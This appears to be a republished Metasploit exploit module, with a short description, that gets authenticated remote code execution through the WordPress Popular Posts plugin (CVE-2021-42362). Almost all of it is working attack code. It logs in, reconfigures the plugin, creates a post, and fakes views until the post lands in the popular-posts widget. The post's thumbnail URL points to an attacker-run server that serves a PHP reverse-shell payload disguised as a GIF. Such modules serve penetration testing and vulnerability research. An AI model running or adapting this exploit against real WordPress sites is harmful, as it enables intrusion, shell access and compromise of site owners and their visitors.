WordPress Popular Posts 5.3.2 Remote Code Execution

This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in WordPress plugin Popular Posts versions 5.3.2 and below. The exploit chain is rather complicated. Authentication is required and gd for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60 second server cache refresh (the exploit waits 90 seconds), the homepage widget is loaded which triggers the plugin to download the payload from the server. The payload has a GIF header, and a double extension (.gif.php) allowing for arbitrary PHP code to be executed.


MD5 | 58b71d78f3e92f8308944edbaef03644

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Popular Posts Authenticated RCE',
'Description' => %q{
This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.
The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request
for the payload, prior to getting a GET request.
This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.
The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server.
Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.
A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once
the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded
which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a
double extension ('.gif.php') allowing for arbitrary PHP code to be executed.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Simone Cristofaro', # edb
'Jerome Bruandet' # original analysis
],
'References' => [
[ 'EDB', '50129' ],
[ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],
[ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],
[ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],
[ 'CVE', '2021-42362' ]
],
'Platform' => ['php'],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2021-06-11',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560
OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584
OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),
]
end

def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
if checkcode == CheckCode::Safe
print_error('Popular Posts not a vulnerable version')
end
return checkcode
end

def trigger_payload(on_disk_payload_name)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => 'true'
)
# loop this 5 times just incase there is a time delay in writing the file by the server
(1..5).each do |i|
print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")
Rex.sleep(10)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),
'keep_cookies' => 'true'
)
end
if res && res.code == 404
print_error('Failed to find payload, may not have uploaded correctly.')
end
end

def on_request_uri(cli, request, payload_name, post_id)
if request.method == 'HEAD'
print_good('Responding to initial HEAD request (passed check 1)')
# according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length
# however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.
# also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught
return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })
end
if request.method == 'GET'
on_disk_payload_name = "#{post_id}_#{payload_name}"
register_file_for_cleanup(on_disk_payload_name)
print_good('Responding to GET request (passed check 2)')
send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')
close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions
Rex.sleep(2) # wait for WP to finish all the checks it needs
trigger_payload(on_disk_payload_name)
end
print_status("Received unexpected #{request.method} request")
end

def check_gd_installed(cookie)
vprint_status('Checking if gd is installed')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
res.body.include? ' gd'
end

def get_wpp_admin_token(cookie)
vprint_status('Retrieving wpp_admin token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'tools'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
Regexp.last_match(1)
end

def change_settings(cookie, token)
vprint_status('Updating popular posts settings for images')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
},
'vars_post' => {
'upload_thumb_src' => '',
'thumb_source' => 'custom_field',
'thumb_lazy_load' => 0,
'thumb_field' => 'wpp_thumbnail',
'thumb_field_resize' => 1,
'section' => 'thumb',
'wpp-admin-token' => token
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
end

def clear_cache(cookie, token)
vprint_status('Clearing image cache')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
},
'vars_post' => {
'action' => 'wpp_clear_thumbnail',
'wpp-admin-token' => token
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
end

def enable_custom_fields(cookie, custom_nonce, post)
# this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'method' => 'POST',
'vars_post' => {
'toggle-custom-fields-nonce' => custom_nonce,
'_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",
'action' => 'toggle-custom-fields'
}
)
/name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body
Regexp.last_match(1)
end

def create_post(cookie)
vprint_status('Creating new post')
# get post ID and nonces
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
'cookie' => cookie,
'keep_cookies' => 'true'
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
/wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
/},"post":{"id":(?<post_id>\d*)/ =~ res.body
if ajax_nonce.nil?
print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
/name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body
ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
end
unless ajax_nonce.nil?
vprint_status("ajax nonce: #{ajax_nonce}")
end
unless wp_nonce.nil?
vprint_status("wp nonce: #{wp_nonce}")
end
unless post_id.nil?
vprint_status("Created Post: #{post_id}")
end
fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id

# publish new post
vprint_status("Writing content to Post: #{post_id}")
# this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => 'application/json',
'accept' => 'application/json',
'vars_get' => {
'_locale' => 'user',
'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)
},
'data' => {
'id' => post_id,
'title' => Rex::Text.rand_text_alphanumeric(20..30),
'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",
'status' => 'publish'
}.to_json,
'headers' => {
'X-WP-Nonce' => wp_nonce,
'X-HTTP-Method-Override' => 'PUT'
}
)

fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
return post_id, ajax_nonce, wp_nonce
end

def add_meta(cookie, post_id, ajax_nonce, payload_name)
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
vprint_status("Adding malicious metadata for redirect to #{payload_url}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_post' => {
'_ajax_nonce' => 0,
'action' => 'add-meta',
'metakeyselect' => 'wpp_thumbnail',
'metakeyinput' => '',
'metavalue' => payload_url,
'_ajax_nonce-add-meta' => ajax_nonce,
'post_id' => post_id
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
end

def boost_post(cookie, post_id, wp_nonce, post_count)
# redirect as needed
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => 'true',
'cookie' => cookie,
'vars_get' => { 'page_id' => post_id }
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
print_status("Sending #{post_count} views to #{res.headers['Location']}")
location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
(1..post_count).each do |_c|
res = send_request_cgi!(
'uri' => "/#{location}",
'cookie' => cookie,
'keep_cookies' => 'true'
)
# just send away, who cares about the response
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
res = send_request_cgi(
# this URL varies from the POC on EDB, and is modeled after what the browser does
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
},
'keep_cookies' => 'true',
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'_wpnonce' => wp_nonce,
'wpp_id' => post_id,
'sampling' => 0,
'sampling_rate' => 100
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
end
fail_with(Failure::Unreachable, 'Site not responding') unless res
end

def get_top_posts
print_status('Determining post with most views')
res = get_widget
/>(?<views>\d+) views</ =~ res.body
views = views.to_i
print_status("Top Views: #{views}")
views += 5 # make us the top post
unless datastore['VISTS'].nil?
print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")
views = datastore['VISITS']
end
views
end

def get_widget
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
# which then would kill the exploit, so in this case we just keep trying.
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => 'true'
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
/data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body
# load the widget directly
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
'keep_cookies' => 'true',
'vars_get' => {
'is_single' => 0
}
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
@res
end

def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end

payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
vprint_status("Payload file name: #{payload_name}")

fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
post_count = get_top_posts

# we dont need to pass the cookie anymore since its now saved into http client
token = get_wpp_admin_token(cookie)
vprint_status("wpp_admin_token: #{token}")
change_settings(cookie, token)
clear_cache(cookie, token)
post_id, ajax_nonce, wp_nonce = create_post(cookie)
print_status('Starting web server to handle request for image payload')
start_service({
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },
'Path' => "/#{payload_name}"
}
})

add_meta(cookie, post_id, ajax_nonce, payload_name)
boost_post(cookie, post_id, wp_nonce, post_count)
print_status('Waiting 90sec for cache refresh by server')
Rex.sleep(90)
print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')
res = get_widget
print_good('We made it to the top!') if res.body.include? payload_name
# if res.body.include? datastore['SRVHOSTNAME']
# fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")
# end
# at this point, we rely on our web server getting requests to make the rest happen
end
end

Related Posts